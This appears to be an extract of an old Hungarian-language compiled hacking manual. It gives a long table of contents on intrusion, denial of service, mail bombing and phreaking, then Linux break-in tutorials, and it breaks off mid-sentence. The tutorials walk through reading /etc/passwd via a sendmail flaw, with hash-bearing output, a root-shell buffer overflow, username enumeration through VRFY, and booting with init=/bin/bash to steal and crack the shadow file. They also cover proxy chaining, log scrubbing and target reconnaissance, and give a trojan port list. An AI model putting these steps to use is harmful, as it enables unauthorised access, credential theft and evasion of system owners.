Content extract
Hackers’ Guide by Phant0m Volume #2 Hackers’ Guide Tartalom: Volume #1 Előszó . Történet . Hacker-ek, cracker-ek, phreak-ek Billentyűs betolakodók Alternatív kultúra: Hackerek Hackerek A törés művészete Mi az igazság Kevin D. Mitnick, a CyberKalóz Hacker találkozó Hollandiában A hacker kiáltványa Hacker-etika Fontosabb időpontok az Internet fejlődésében Hálózattörténelem A Byte magazin 98/4 -es számában megjelent cikke Kezdés . A Hacker és társai Első lépések Ismertetô a hackelésrôl laikusoknak Kik a hackerek Mi is a cracker? Hogyan tevékenykedj illegálisan de biztonságban Hogyan lesz az emberből Hacker Használjatok PGP-t A titkosításról A paranoiáról Hack Windows alól és tudnivalók Az IP szerzés módszerei Social Engineering (társadalommérnökség) Trashing or dumpster diving (kukabúvárkodás) Backdoors Mi is az a trojai program Pár szó a trojai programokról Snifferek Keyloggerekről általában Mi az IP, TCP/IP A
WORLD WIDE WEB File Transfer Protocoll (FTP) GOPHER MI A TELNET Socks4 Protokoll Betörések felfedezése és kezelése I. Betörések felfedezése és kezelése II. Betörések felfedezése és kezelése III. Betörések felfedezése és kezelése IV. Betörések felfedezése és kezelése V. 2 Hackers’ Guide Betörések felfedezése és kezelése VI. Anonimitás . Névtelenség .avagy "Mindenki minket figyel!" Hogyan maradjunk ismeretlenek? Egyedi azonosító? Proxy I. Proxy II. Proxy Hunter leírás Password . A jelszavakról általában A linux passwd file felépítése Jelszófeltörés Jelszavak törése Jelszótörés Passwd Re: Passwd PWL Hacking Tutorial Password fileok keresése Hogyan válasszunk rossz jelszót CuteFTP bizonytalan jelszótárolása BIOS Hátsóajtók BIOS jelszavak feltörése Denial of Service (DoS) . Hogyan "lőjjünk" ki másokat a netről? És lőn sötétség a click után. A +++ath0 avagy a modemblitz NewTear DoS Tamadasok
fajtai Internetto chat szivatás NUKING IS LAMEEE. Win98 TCP/IP bug D.oS-ra alkalmas bug a W2000-ben Pirch98 ident/fserve daemon DoS támadás War FTP DoS (MKD/CWD) Email . Fake Email Hogyan küldjünk álcázott leveleket? (fakemail) Spoofed mail bombing by ReWtEr Levélbomba "Végtelenített" E-MAIL A legegyszerubb módszer levélbombázáshoz A Freemailrol ugy altalaban Szex kepek e-mailre Levélbomba törlése Outlook Express levelek Outlook Express 5 bug 3 Hackers’ Guide WinPopup és NetSend üzenetek álcázása Volume #2 Linux . Alap hack modszerek teoretikai oldala. Linux workstation törés Linux szerver törés Linux törés Egy lehetséges támadásra példa Backdoorokról gyakorlatban Unix Rendszerek Biztonsági Lyukai Root jog szerezése, ha alap felhasználo vagy Linux szerverek biztonsági kérdései Unix parancsok, amelyeket ismerned kell IP Chains kiegészítés Linux ipchains Firewall hiba Fakeuser Exploitok és a Telnet FTPCOVERSION bug Kernel bug
WuFtpd trükk PING -R : kernel panic Hálozati Programozás C nyelven SAINT Windows . Back Orifice NetBus 1.70 Leírás Trójai programok felderítése WIN95/98 alatt I. Trójai programok felderítése WIN95/98 alatt II. Trójai programok felderítése WIN95/98 alatt III. Szempontok Windows trojan készítéséhez Kevésbé ismert Windows9x biztonsági lyukak Jelszó eltüntetése Windowsrol Registryben tárolt jelszavakról Windows ScreenSaver Jelszó NT Password Cracker Windows NT munkaállomás törése Windows NT szerver törése Windows NT bug Re: Windows NT bug Hogyan fagyasszunk Win-es gépet intraneten Windows nyomtatómegosztás - bug Hogyan szerezzünk IP-t OP jog nélkül IIS 4.0 Microsoft Server Remote Exploit NT támadás FrontPage bug Minden az UNICODE bug-ról Internet Explorer tartalmi tanácsadó kikapcsolása 4 Hackers’ Guide Riched20.dll ActiveX I. ActiveX II. Novell . Novell jelszavak a Windows alatt Novell LAN Hacking Novell érdekességek Novell Groupwise
bug IRC, ICQ . Két tűz mögött RFC-1459 A mi mIRC-ünk. I rész: Popups A mi mIRC-ünk. II rész: Aliases A mi mIRC-ünk. III rész: Remote A mi mIRC-ünk. IV rész: Sockets A mi mIRC-ünk. V rész: Dialogs A mi mIRC-ünk. VI rész: Ami az eddigiekbôl kimaradt Az IRC-harc alapjairól IRC Hacking Tutorial A null csatorna A #2,000 bug User klónozás Fake OP Fakedrop Flood mIRC flood védelem mIRC jelszó kikapcsolása mIRC 5.4 Kill mIRCkill patch Hogyan juss be egy csatira vagy szerverre, ha bannoltak? Az "eredeti név"-ben vezérlôjelek használata Az Eggdrop IRC bot Eggdrop 1.326 bug CTCP trükk DCC gyorsítás Hogyan tevékenykedj (írj, csatlakozz csatira, stb.) más nevében? Hogyan rejtsem el az IP címemet IRC-n? WAC - WoRsITE A CoToCoP Advanced On-JOIN scanner Miért ne irceljünk root-ként Hogyan pusztítsunk IRC-n vagy ICQ-n ICQ exploit - avagy hogyan klonozzunk ICQ-ban ICQ Re: ICQ99 jelszavak CTCP-FAQ Web . A site feltörés 5 Hackers’ Guide Web-Hack
F.AQ Félhivatalos Web-Hack FAQ A PHF MODSZER Hogy kell Unix ACCot szerezni 24 oraval ezen dokumentum olvasasa utan ?? Mi a .cgi .cgi Egyszeruen A test-cgi sebezhetősége bizonyos beállításoknál Néhány CGI bug csak röviden Két .cgi exploit "Vadász Gábor OnLine" jelszavak Jelszóvédett weblapok feltörése Webes levelbomba kuldes [ fLip! ] Altavista.Com avagy a hackerek legjobb buntársa Webterminál hackelések Extra hack Re: Extra hack Hogyan hackeljük meg az Extra.Hu-t Emil.alarmixorg hack A /wwwadmin.pl Exploitról Account Manager Password Exploit (amadmin.pl) Apexec.pl Bug Campas exploit Carbo.dll exploit Exploit a Microsoft IIS-hez HTML kód, ami leöli az IE 5-öt MailMachine.cgi bug QuikStore Shopping Cart Script bug Sambar Server bug Sambar Server search CGI bug Subscribe Me Exploit (subscribe.pl) Unstorekeeper.pl Bug .asp fájlok forráskódjának megtekintése Phreak . Kálváriám a Matávval: avagy ügyintézés RULEZ!!!! A 909 használata Mi az a
wardialer Wardialer 1.31 by MMan THC-Scan használat + config Híváskorlátozásfeltörő 0.01 by Mman Ophacker 0.1 by MMan "06-80"-on keresztül külföldre A pénzbedobós telefonok hackolása Amerikában és Angliában Mobildolgok SMS Flood www.777smshu-n keresztül Szivatás mobiltelefonon keresztül Egy Matávos levele Volume #3 6 Hackers’ Guide Egyéb . Hogyan tudunk konnyen es egyszeruen bejutni egy SunOs? Hogyan irjunk at barmilyen filet AIX rendszerben 0-as UID nelkul ? OpenBSD felhasználói útmutató Különböző trójai programfajták leírása me$$iah trojai program RSCs Offline Server Emulator AMaViS root exploit CD-k másolásvédelmének megszüntetése amstel.interwarehu feltörése Nyugatmagyarországi Egyetem feltörése Országos Széchenyi Könyvtár feltörése Függelék . Internet kisszótár Linux Kisszótár IRC szótár Phreak szótár Szabványos portok listája Nemzetközi domain-ek A legismertebb trojai programok és portjaik I. A
legismertebb trojai programok és portjaik II. BUHERÁTOR TESZT 1.1 BugTraq lista részletek. Hasznos URL-ek gyüjteménye a számítógépes biztonság területén Linux Alap hack modszerek teoretikai oldala. Hogy meg a legkezdobb kezdo szamara is ertheto legyen, irtam egy kis bevezetot UNIXba: UNIX: Szoval a UNIX alapja a tobbfelhasznalos stabilitas. Namost.minden felhasznalonak(user) van egy LOGIN neve(login name), egy jelszava (password), egy UID -je.egy GID -jeegy home konyvtara(home directory) 7 Hackers’ Guide A root a rendszer fonoke.neki mindenhez joga van Miert??.jo kerdes Hat azert, mert a UID -je 0. UID = User ID Ha ez nulla, akkor isten vagy a rendszeren. De altalaban a felhasznaloke mas. Persze a root akarkinek adhat 0 UID -t. Hogyan?.hat ugy, hogy a /etc/passwd file -ban lecsereli a UID szamodat 0 ra A felhasznalonak nincsenek jogai. A felhasznalonak van egy szama(UID). A fileokban es a directorokban van a csoda. A file -nak vannak ugynevezett permissions. Igy
nez ki: -rwxrwxrwx owner group filename Ebbol a fontos resz a -rwxrwxrwx , az owner, es a group. Az elso - karakter az jelzi, hogy FILE.ha d lenne, akkor directory, ha l akkor link stb. stb az r betu az olvasas engedely.a w az irasi engedelya x pedig vegrehajtasi (execute) engedely. az elso harom rwx azt jelenti, hogy ezek a OWNER (vagyis a file tulajdonosa) engedelyei. A file ownere azt csinal vele amit akar. A masodik a GROUP. Ez egy.csoport UID Van egy csoport, aminek beallithatod a GID -jet pl 111 -re es a group neve "hackerek" -re lenne beallitva, akkor ezt a file -t csak azok tudnak olvasni, akik a hackerek groupban volnanak.es persze az owner(file tulaj) es a root. -rw-r----- <- az owner es a root irni tud bele es olvashatja, a groupban levo emberek csak olvasni tudjak. A harmadik mezot ugy hivjak NOBODY. Vagyis senki.azaz barki csinalhat vele mindent, ami a 3 mezoben meg van engedve. Vagyis ha pl. a /etc/passwd permission -jai: -rw-rw-r-- <- akkor nincs gond. De
altalaban a system file -oknak az ownerja root.a groupja is De ha -rw-rw---- <- akkor baj van. Ilyenkor muszaj UID 0 -t, vagy GID 0 -t szereznunk. Itt jon a dolog szepsege. ------------------------------------------------------------------------------Ha a file-nak az ownerje pl. ROOT es a root engedelyeinel az x helyett egy "s" betut latsz, akkor az a program SUID ROOT. A SUID azt jelenti, SET UID.es a roottehat SET ROOT UID Vagyis a file(program) executalasnal felveszi az owner UID -jet. 8 Hackers’ Guide Vagyis ha az owner root, akkor UID 0 -val fog futni. Peldaul, hogyha. Tegyuk fel, hogy ennek a filenak az ownere root: -rwsr-xr-x <- ez azt jelenti, hogy ha jol megnezed, lefuttathatja a NOBODY, Szoval.ha lefuttatja, akkor a a programnak root uid -je lesz Vagyis ha te a file -ba bele tudnal keriteni egy "cat /etc/passwd" parancsot, Akkor meg is lenne. Csakhogy ilyen sosincs. Ezert kell talalnod egy olyan programot, aminek hibaja van, es SUID root.
Vagyis. Peldaul.sendmail Tudni kell rola, hogy !!!!!!!suid root!!!!!!!, es hogy nobody is futtathatja. Nehany verzioja tartalmaz olyan hibat, hogy ha rossz tipusu file -nevet adsz meg neki, vagyis egy olyan file -t amiben olyan adatok vannak, amit nem tud azonositani, akkor kiirja azokat a sorokat a kepernyore, es melle ir valami ilyesmit: "unknown control line" Gondolkozz csak el rajta. Milyen erdekesen fel lehetne ezt hasznalni. A config file -t a "-C" parameterrel definalod. peldaul: senmdail -C sendmail.configfile De van egy erdekes otletunk: Mivan ha ezt irom be neki??: sendmail -C /etc/passwd Oromunkre pl. ezt latjuk: /etc/passwd: line 1: unknown control line "root:e15LU2L6FLhxB:0:0:root:/root:/bin/bash" /etc/passwd: line 2: unknown control line "bin:*:1:1:bin:/bin:" /etc/passwd: line 3: unknown control line "daemon:*:2:2:daemon:/sbin:" /etc/passwd: line 4: unknown control line "adm:*:3:4:adm:/var/adm:" /etc/passwd: line
5: unknown control line "lp:*:4:7:lp:/var/spool/lpd:" /etc/passwd: line 6: unknown control line "sync:*:5:0:sync:/sbin:/bin/sync" /etc/passwd: line 7: unknown control line "shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown" /etc/passwd: line 8: unknown control line "halt:*:7:0:halt:/sbin:/sbin/halt" /etc/passwd: line 9: unknown control line "mail:*:8:12:mail:/var/spool/mail:" /etc/passwd: line 10: unknown control line "news:*:9:13:news:/var/spool/news:" /etc/passwd: line 11: unknown control line "uucp:*:10:14:uucp:/var/spool/uucp:" /etc/passwd: line 12: unknown control line "operator:*:11:0:operator:/root:" /etc/passwd: line 13: unknown control line "games:*:12:100:games:/usr/games:" /etc/passwd: line 14: unknown control line "gopher:*:13:30:gopher:/usr/lib/gopherdata:" /etc/passwd: line 15: unknown control line "ftp:*:14:50:FTP User:/home/ftp:" /etc/passwd: line 16: unknown control
line "nobody:*:99:99:Nobody:/:" /etc/passwd: line 17: unknown control line "user:pH1j.C9qFtqxz:500:500:user,user,user,user,:/home/user:/bin/bash" No local mailer defined QueueDirectory (Q) option must be set 9 Hackers’ Guide A legujabb verziokban mar nem muxik, mert kijavitottak a hibat es ha user futtatja, akkor azthiszem megnezi, hogy root e.ha nem root, akkor csinal egy olyan huzast, hogy "setuid(uid);" namost ez a suid programunk UID -jet atvaltoztatta az uid UID -re.vagyis ha az uid -d 111, akkor mar nem root uid -vel fog futni a tobavvi CODE, hanem a sajatoddal. Buffer overflow: Szoval, itt arrol van szo, hogy. Allokalsz, vagyis kijelzel egy memoria helyet az adataidnak: Egy egyszeru C program: #include <stdio.h> char buffer[200]; <- itt adod meg, hany byte fer bele. void main() { strcpy(buffer,"kecske"); <- Belehelyezem a kecske szavat a bufferbe. printf("%s",buffer); <- Megnezem a buffer tartalmat. } Most
beletetten a strcpy <-vel a buffer -ba 6 byte -ot(a kecske szavat). De mivan ha tobbet teszek bele??? (peldaul gets(buffer);) Kicsordul a buffer. Namost. Vannak ugynevezett REGISTER -ek. Az egyik a legfontosabb a mi esetunkben. Az IP vagy ugy is hivjak EIP. Ebben van egy szam, ami azt jelzi, melyik kovetkezo parancsot futtassa a memoriaban. Ha ezt atirjuk, azt futtatunk le a memoriaban amit akarunk. Vagyis.addig toltjuk a buffert, vagyis mar nem a buffer, csak innen indult ki.szoval addig toltjuk, amig el nem jutunk az EIP -ig aztan beleirjuk a szamot, ahol folytatodik a buffer az EIP utan. Igy nez ki vazlatosan: buffer EIP | | | | 4141414141414141414141414141414141414141414141414120009090909090909 09090 | | | 1234 1244 stb. stb pl. 2000 Vagyis ahogy eleri a buffer az eip -t.belehelyezi a 2000 -es szamot, azt a memoria helyet, ahol folytatodik a buffer az eip utan. tehat most nem valamilyen program fog futni, hanem a 0x90 -NOP Ami azt jelenti, hogy NO processz, vagyis nem csinal
semmit, nade ide behelyezhetsz egy olyan parancsot, hogy: execl("/bin/sh",NULL); <- ezt termeszetesen at kell alakitanod hexre. Ezzel lefuttatod a shellt, es ha a program, amiben a buffer volt SUID root, 10 Hackers’ Guide akkor a shell is suid root lesz, vagyis az uid -d 0. Ez csak egy egyszeru vazlat volt, pontosabban elmagyarazni assembler tudas nelkul nehez lenne. Nem biztos, hogy ertheto volt a memoria pointacio, elmagyarazom kulon: Peldaul van 10 darab ures helyed, amibe tehetsz barmit. De csak egy byte -nyit. Az igy fog kinezni: ABCDEFGHI J ||||||||| | 123456789 10 Az elsoben egy A betu van, vagyis 0x41 hexben. A masodikban B, vagyis 0x42 hexben. es az 1,2,3.10ezek voltak a mutatok, mert te az 5 poharba is tehetsz kulon valamit.es az 5 az a memory pointer, ugy mint az elozo abrakon az 1234,1244 vagy a 2000. Remelem ebbol meg lehetett erteni. Igy peldaul lehetseges olyan hiba is, ami szinte kizart, mert ennyire azert nem hulyek a programatorok, de volt mar ra
pelda. szoval pl. az ftp -nel Be kell jelentkezned a username: meg a password: -nal. Tehat.tetelezzuk fel, hogy a programatorok az username -re felteteleztek, hogy nem lesz nagyobb, mint 100 byte, es nem kontrolalja le a program nem e nagyobb a kivant adat. Ilyenkor lehuzod a programot felinstallalod, leprobalod, hanyadik byte a bufferban az eip, aztan felteszed a shellt. Es kesz az exploit. Felteszed a labad az asztalra, leinditod. Es egyaltalan nincs semmi accod az adott gepen, es ha a futo ftp program root jogokkal fut, akkor te szep csendben ROOT vagy. Es szinte semmit sem kell hozza csinalnod. Es a leggyonyorubb az ilyen dolgokban az, hogy nem logol semmi:) Mert nem futtattad a /bin/login -t.tehat nem fut le sem a bash history <- vagyis Nem logol semmi parancsot, amit kiadtal. A "w" parancsra ami megnezi, milyen felhasznalok vannak fent nem reagal, mert amint mar mondtam nem hasznaltal logint. Es ekkor. Csak egyetlen mod van arra, hogy valaki gyanut fogjon.
"netstat" Megmutatja az osszes tcp/ip kapcsolatot. Vagy tcpdump. Esetleg meg akkor, ha egy specialis software van a gepen, ami logol minden tcp/ip packetot. De ki fogna gyanut, hogy te mittomen lehuzol valami freeware -t. Es kulonben is. Minden root istennek hiszi magat es azt hiszi a gepe torhetetlen. Csakhogy teved:) Kovetkezo hack tipp: 11 Hackers’ Guide Van peldaul egy program ami megengedi, hogy vegtelen sok username -et es passwordot probalhass ki rajta. Igy csinalsz egy programot, ami kiprobalja az osszes lehetseges passwordot. Ha szo, hat legyen: aaaaa aaaab aaaac . . bbbbb bbbbc . Satobbi. Szoval ez egy masik modszer, de baj van, ha nem valaszol, hogy jo e az username, mert ha nem valaszol, akkor kepzelheted, a vilag osszes legjobb szamitogepe torne meg a jelszot az username -al egyutt 2 ev alatt. Szoval valahogy meg kell tudnunk, hogy van e olyan username, amit keresunk. Akkor kiprobaljuk a FINGER daemont. Az ritkan, mondjuk 20% aban van. Ha nincs, akkor.
Sendmail. Van egy olyan parancs, hogy VRFY (verify). Ez megmutatja, letezik e olyan felhasznalo, akinek a mail -t akarom kuldeni. Tehat. VRFY aaaa VRFY aaab VRFY aaac satobbi:) Igy egyszerubb. Na mar most, ha nem vagy a legprimitivebb segg akit valaha lattam, megertetted ezeket, es eltulajdonitottad az alap teoriakat, amikkel be lehet kerulni egyes helyekre. Ismetlem, ez semmi oriasi kezikonyv, csak az alap TEORIAK vannak itt. Szerzo: C0r3dUmP Mail: Jesus0@hotmail.com Ingyenes telefonszamom: 0042100101 A text megirasahoz kellett: Kb. 2 ora nyugalom, 2 csomag piros Marlboro, 3 sor(Gambrinus), Es egy pici tapasztalat. Ezt a file -t szetoszthatjatok barkinek, akinek szuksege van ra. Termeszetesen vallalom a felelosseget, barmi kart is okoztok masnak ennek a segitsegevel:))) !!!Basszatok meg a cenzurat!!! 12 Hackers’ Guide * Linux workstation törés Ezt a módszert már láttam pár leírásban, de mindenhol egy-két sort szántak rá, pedig ha van fizikai hozzáférésed az
adott géphez (pl. iskolai munkaállomás, de lehet hogy ez a szerver jelszava is) - és a rendszergazda kellõ mértékban hanyag :-) - akkor nagyon egyszerûen lehet root jogot szerezni. Nincs olyan gép, amit ne lehetne feltörni fizikai hozzáféréssel (pl. bootolás lemezrõl.), de azért eléggé meg lehet nehezíteni a dolgot Persze ha sikerül lemezrõl bootolni, akkor egy "egylemzes" linuxxal, vagy rescue diskkel be lehet mountolni a / particiót, és megszerezni a shadow fájlt. A legegyszerübb az, ha a LILO-nak megadsz pár paramétert, amit átad a kernelnek. Ilyen paraméterek lehetnek a soros port, halózati kártya, winchester adatai, init processz, runlevel szint, stb. Nekünk az utóbbi kettõ a fontosabb a töréshez. Ha kicseréljük az init processzt egy shellre, akkor kapásból van egy root jogunk a gépre, amivel tetszés szerint elhozhatjuk a shadow fájlt, vagy csinálhatunk magunknak egy új accountot, immár root jogokkal. Az új account
létrehozásához jó, ha irható-olvasható módon csatoljuk fel a gyökérfájlrendszert, mert ez általában csak olvasható, majd az init változtatja meg késõbb irható-olvastóvá. Azért csatolják elõször csak olvashatóan a fájlrendszert, mert amíg az fsck (linuxos fájlrendszerellenõrzõ progi) lefut, addig nem célszerû írni a winyóra, mert megsérülhet a fájlrendszer, stb. Tehát az init processz kicseréléséhez az alábbit kell begépelünk a "LILO boot:" prompthoz: LILO boot: linux init=/bin/bash rw Ez csak egy esetben nem sikerülthet, ha a /etc/lilo.conf fájlban levédték jelszóval a paraméterezett indítást, ekkor megpróbálhatjuk elolvasni a fájlt, amiben kódolás nélkül található meg a jelszó, de nem nagyon reménykedjünk, hogy van rá olvasási jogunk. Az read jog leszedésére egyébként a LILO is figyelmeztet A runlevel szint változtatás is csak akkor válik be, ha nincs jelszóval védve a paraméterezett indítás, mivel
ezt is a LILO-n keresztül kell átadni a kernelnek, paraméterként. Ezt így tehetjük meg: LILO boot: linux x ahol x szam, nullától-hatig, amik a következõt jelentik: 0: halt - a rendszer leállítása 1: single-user - egyfelhasználós üzemmód, rendszerbeállítások változtatására, stb. 2-5: normál üzemmód, általában a root állítja be, ezenkívül eléggé disztribúciófüggõ, bõvebbet a /etc/inittab fájlban találsz, illetve man inittab. 6: reboot - a rendszer újraindítása. (Az õrületbe lehet azzal kergetni valaki, hogy átállítjuk a runlevel szintet 0-ra illetve 6ra, és lejelszavazzuk a paraméteres indítást :-)) 13 Hackers’ Guide Ezek közül nekünk a single user mód az érdekes, mivel ilyenkor csak a root jelentkezhet be, és ha nincs külön beállítva. akkor általában nem kér hozzá jelszót, de ez is eléggé disztribúciófüggõ. Ez ellen úgy lehet védekezni, hogy a /etc/inittab fájlban beáálítjuk a single user módra is a
jelszókérést a következõképpen: ~~:S:wait:/sbin/sulogin Ha sikerült elérni a shadow fájlt, akkor lehet másolni floppyra, de az is elég lehet ha feljegyzed egy papirra, csak nehogy elírj valamit, mert akkor évekig is törheted, eredmény nélkül :-). Ha csak a root jelszavara vagy kiváncsi, akkor ennyi az egész: cat /etc/shadow | grep root cat /etc/passwd | grep root Ezt majd írd bele egy fájlba, de mielõtt elkezdenéd törni unshadow-olni kell a passwd fájlt, ami annyit tesz, hogy a passwdfájlba, ami így néz ki: root:x:0:0:/root:/bin/bash az x helyére be kell írni a shadow fájlban található kódolt jelszót. Ezután a következõt kapjuk: root:kodoltjelszo:0:0:/root:/bin/bash Ezt a John The Ripper is megcsinálja helyettünk az ./unshadow passwd shadow > unshadow parancs hatására, az unshadow-olt password fájlt a szabványos kimenetre irja, amit átírányítunk az unshadow nevü fájlba. Ezek után vígan elkezdhetjük törni a jelszavakat, mondjuk a
John The Ripperel, ami nem a fenti unshadow funkciójáról híresült el ;-). A használata egyértelmû, célszerû egy jó nagy szótárfájlt választani hozzá, mert a beépített elég kicsi. Védekezés: elsõsorban a paraméterezett indítás védése jelszóval, amit a /etc/lilo.conf fájlban lehet megtenni, globálisan (minden oprendszerre), illetve lokálisan is, külön-külön be lehet állítani a jelszókat, minden oprendszerhez illetve kernelhez mást. Ezenkívül még lehet csak a paraméterezett indítást védeni jelszóval, ehhez "restricted" opciót kell beszûrni a fájlba, bõvebb információt a "man lilo.conf" parancs ad. Ha beállítottuk a jelszót, akkor mindenképpen vagyük le a liloconf-ról az olvasási jogot a többi felhasználó számára, és indítsuk el a LILO-t, ami érvényesítit a beállításokat, kiirja a merevlemez megfelelõ helyére. Sun-Zero sun-zero@freemail.hu * 14 Hackers’ Guide Linux szerver törés
Ugyebár a hacker célja a 0-ás UID (root jog, korlátlan hatalom) megszerése. Az alábbiakban ennek megszerzésére kitalált módszereket írok le. Ezzek a legegyszerűbbek, mondhatnám ez az alap. Az első és legfontosabb az egészben az, hogy ne bukj le. Éppezért az IP-címed mindíg bújtasd el, ha pedig már betörtél, tűntesd el a log-ból a "műved". De soha ne töröld le a logot! Mert ezzel nagy kárt okozol a servernek. Sőt, semmi mást ne törölj le ne változtass A rendszergazdát pedig értesítsd arról, hogy betörtél, írd le neki részletesen, hogy milyen hibákat kihasználva jutottál be a rendszerbe, ezzel segíted a munkáját és a lyukak befoltozását. Tehát a legfőbb dolog az IP-rejtés Hogy hogyan rejtsd el az IP-d, azt már leírtam. HTTP-nél proxy, telnet-nél WinGate server segítségével, ami természetesen anonymus legyen (a proxy.elenderhu nem jó :))), WinGate servernél pedig fűzz össze minél többet egymás után. A proxy-t
a böngészőbe feltételezem be tudod állítani. WinGate használat: elindítod a telnet-et Csatlakozol a WinGate server-hez (általában a 23-as porton). Ahova ezután csatlakozol, nem a te IP-det látják majd hanem a WinGate-ét. Ha megint egy WinGate server-hez csat- lakozol (és csak utánna a célponthoz), akkor nagyon megnehezíted a visszakeresésed. HTTP-s hack-nél használhatsz (a proxy-n kívül) anonymus web surfing-es IP-rejtést is (lásd a portal részben, vagy a portal.cyberarmycom címen) Más mód IP-rejtésre, hogy egy balekot egy kis progival beállítasz firewallnak (ami forward-ol), ekkor az ő IP-jét látják a törésednél. Ez a legjobb módszer, de nehéz összehozni (A feltörendő server itt a www.hackmecom lesz) A feltörés első lépései a puhatolózásból állank Menj el a www.hackmecom-ra és nézd meg jól az oldalakat! Mentsd le a forrásokat és tanulmányozd! Keress benne arra utaló jeleket, hogy milyen lehet a server oprendszere, milyen
alkalmazások futnak rajta, és nézd meg jól az e-mail címeket, mert ezek lehetnek felhasználó- nevek! Küldj egy levelet egy olyan címre a hackme.com-on, ami biztos nem létezik! Pl: fgtjhfrh@hackmecom Ekkor a server vissza fog küldeni egy levelet hogy nincs olyan cím és ebben a levélben lesz néhány infó a serverről. (Az ilyen infókat mindíg jól jegyezd meg/le!) Ezután telnetelj be a server 23-as portjára (ha az nem jó akkor vagy a 80-asra, vagy 21-esre), www.hackmecom esetén a hackme.com-ra, vagy ha az nem jó, akkor a telnet.hackmecom-ra! Írd be hogy syst! Ezzel is infókat tudhatsz meg a server-ről Ezután írd be a saját gépeden hogy tracert (winfo$ alatt, Linux alatt tracertroute) hackme.com Erre megkapod a server szolgáltatóját Ezek után a portal.cyberarmycom-on lévő whois-ba írd be: hackmecom Ez információkat adhat a szerver tulajdonosáról és a szerver típusáról. Ezután portscanneld le a server-t! Ezzel nagyon vigyázz mert a
port-scannelő IP-címet egy életre kitilthatja a serverről a firewall, és ha még el is kapnak, akkor szívtál. Tehát vagy proxy mögül scannelj (van néhány jó proxy supported-es progi főként Linux alá, de van winfo$hoz is), vagy webes felületről (www.haqerzcom) Az így megkapott nyitott portokból következtethetsz a célpont néhány tulajdonságára. Pl: ha a 21-es port nyitva van, akkor a server-en üzemel egy FTP-kiszolgáló. Port lista: 00007 - ECHO 00009 - DISCARD 15 Hackers’ Guide 00011 - SYSTAT 00013 - DAYTIME 00015 - NETSTAT 00017 - QOTD 00019 - CHARGEN 00020 - FTP-DATA 00021 - FTP 00021 - Blade Runner, Doly Trojan, Fore, Invisible FTP, WebEx, WinCrash 00023 - Tiny Telnet Server 00025 - Antigen, Email pw Sender, Haebu Coceda, Shtrilitz Stealth, Terminator, WinPC, WinSpy 00025 - SMTP (MAIL) 00031 - Hackers Paradise 00037 - TIME (TIMESERVER) 00042 - NAME (NAMESERVER) 00043 - WHOIS (NICKNAME) 00053 - DOMAIN (NAMESERVER) 00057 - MTP 00079 - FINGER 00080 -
HTTP 00080 - Executor 00087 - LINK (TTYLINK) 00095 - SUPDUP 00101 - HOSTNAME 00102 - ISO-TSAP 00103 - x400 (ISO MAIL) 00104 - x400-SND 00105 - CSNET-NS 00109 - POP/POP2 (POSTOFFICE) 00110 - POP3 (MAILSERVER) 00111 - PORTMAP / SUNRPC 00113 - AUTH (IDENT) 00115 - SFTP 00117 - (UUCP-)PATH 00119 - NNTP (Network News Transfer) 00139 - NBSESSION (NETBIOS) 00144 - NEWS 00158 - TCPREPO (PCMAIL) 00170 - PRINT-SRV (NETWORK POSTSCRIPT) 00175 - VMNET 00400 - VMNET0 00456 - Hackers Paradise 00512 - EXEC 00513 - LOGIN 00514 - SHELL (CMD) 00515 - PRINTER 00520 - EFS (FOR LUCASFILM) 00526 - TEMPO (NEWDATE) 00530 - COURIER (RPC) 00531 - CONFERENCE (CHAT) 16 Hackers’ Guide 00532 - NETNEWS 00540 - UUCP00021 - FTP 00543 - KLOGIN 00544 - KSHELL (CMD) 00555 - Ini-Killer, Phase Zero, Stealth Spy 00556 - REMOTEFS (RFS SERVER) 00600 - GARCON 00601 - MAITRD 00602 - BUSBOY 00666 - Satanz Backdoor 00750 - KERBEROS (KDC) 00443 - SSL 01001 - Silencer, WebEx 01011 - Doly Trojan 01080 - SOCKS 01170 - Psyber
Stream Server, Voice 01234 - Ultors Trojan 01245 - VooDoo Doll 01492 - FTP99CMP 01600 - Shivka-Burka 01807 - SpySender 01981 - Shockrave 01999 - BackDoor 02001 - Trojan Cow 02023 - Ripper 02115 - Bugs 02140 - Deep Throat, The Invasor 02801 - Phineas Phucker 03024 - WinCrash 03129 - Masters Paradise 03150 - Deep Throat, The Invasor 03700 - Portal of Doom 04092 - WinCrash 04590 - ICQTrojan 05000 - Sockets de Troie 05001 - Sockets de Troie 05321 - Firehotcker 05400 - Blade Runner 05401 - Blade Runner 05402 - Blade Runner 05569 - Robo-Hack 05742 - WinCrash 06665 - IRC-SERVER 06666 - IRC-SERVER 06667 - IRC-SERVER 06668 - IRC-SERVER 06669 - IRC-SERVER 06670 - DeepThroat 06771 - DeepThroat 06969 - GateCrasher, Priority 17 Hackers’ Guide 07000 - Remote Grab 07300 - NetMonitor 07301 - NetMonitor 07306 - NetMonitor 07307 - NetMonitor 07308 - NetMonitor 07789 - ICKiller 08181 - IRC-SERVER 09872 - Portal of Doom 09873 - Portal of Doom 09874 - Portal of Doom 09875 - Portal of Doom 09989 -
iNi-Killer 10067 - Portal of Doom 10167 - Portal of Doom 11000 - Senna Spy 11223 - Progenic trojan 12223 - Hack99 KeyLogger 12345 - GabanBus, NetBus 12346 - GabanBus, NetBus 12361 - Whack-a-mole 12362 - Whack-a-mole 16969 - Priority 20001 - Millennium 20034 - NetBus 2 Pro 21544 - GirlFriend 22222 - Prosiak 23456 - Evil FTP, Ugly FTP 26274 - Delta 31337 - Back Orifice 31338 - Back Orifice, DeepBO 31339 - NetSpy DK 31666 - BOWhack 33333 - Prosiak 34324 - BigGluck, TN 40412 - The Spy 40421 - Masters Paradise 40422 - Masters Paradise 40423 - Masters Paradise 40426 - Masters Paradise 47262 - Delta 50505 - Sockets de Troie 50766 - Fore 53001 - Remote Windows Shutdown 61466 - Telecommando 61667 - TROJAN! (BACK ORIFICE) 65000 – Devil Ez még jól jöhet (ha jól tudom akkor ha egy szolgáltatásmentes nyitott portot találsz, akkor egy Shell program segítségével rácsatlakozva behatol-hatsz, sőt winfo$ 18 Hackers’ Guide rendszerekbe egy bug- ot (hibát) kihasználva bármilyen
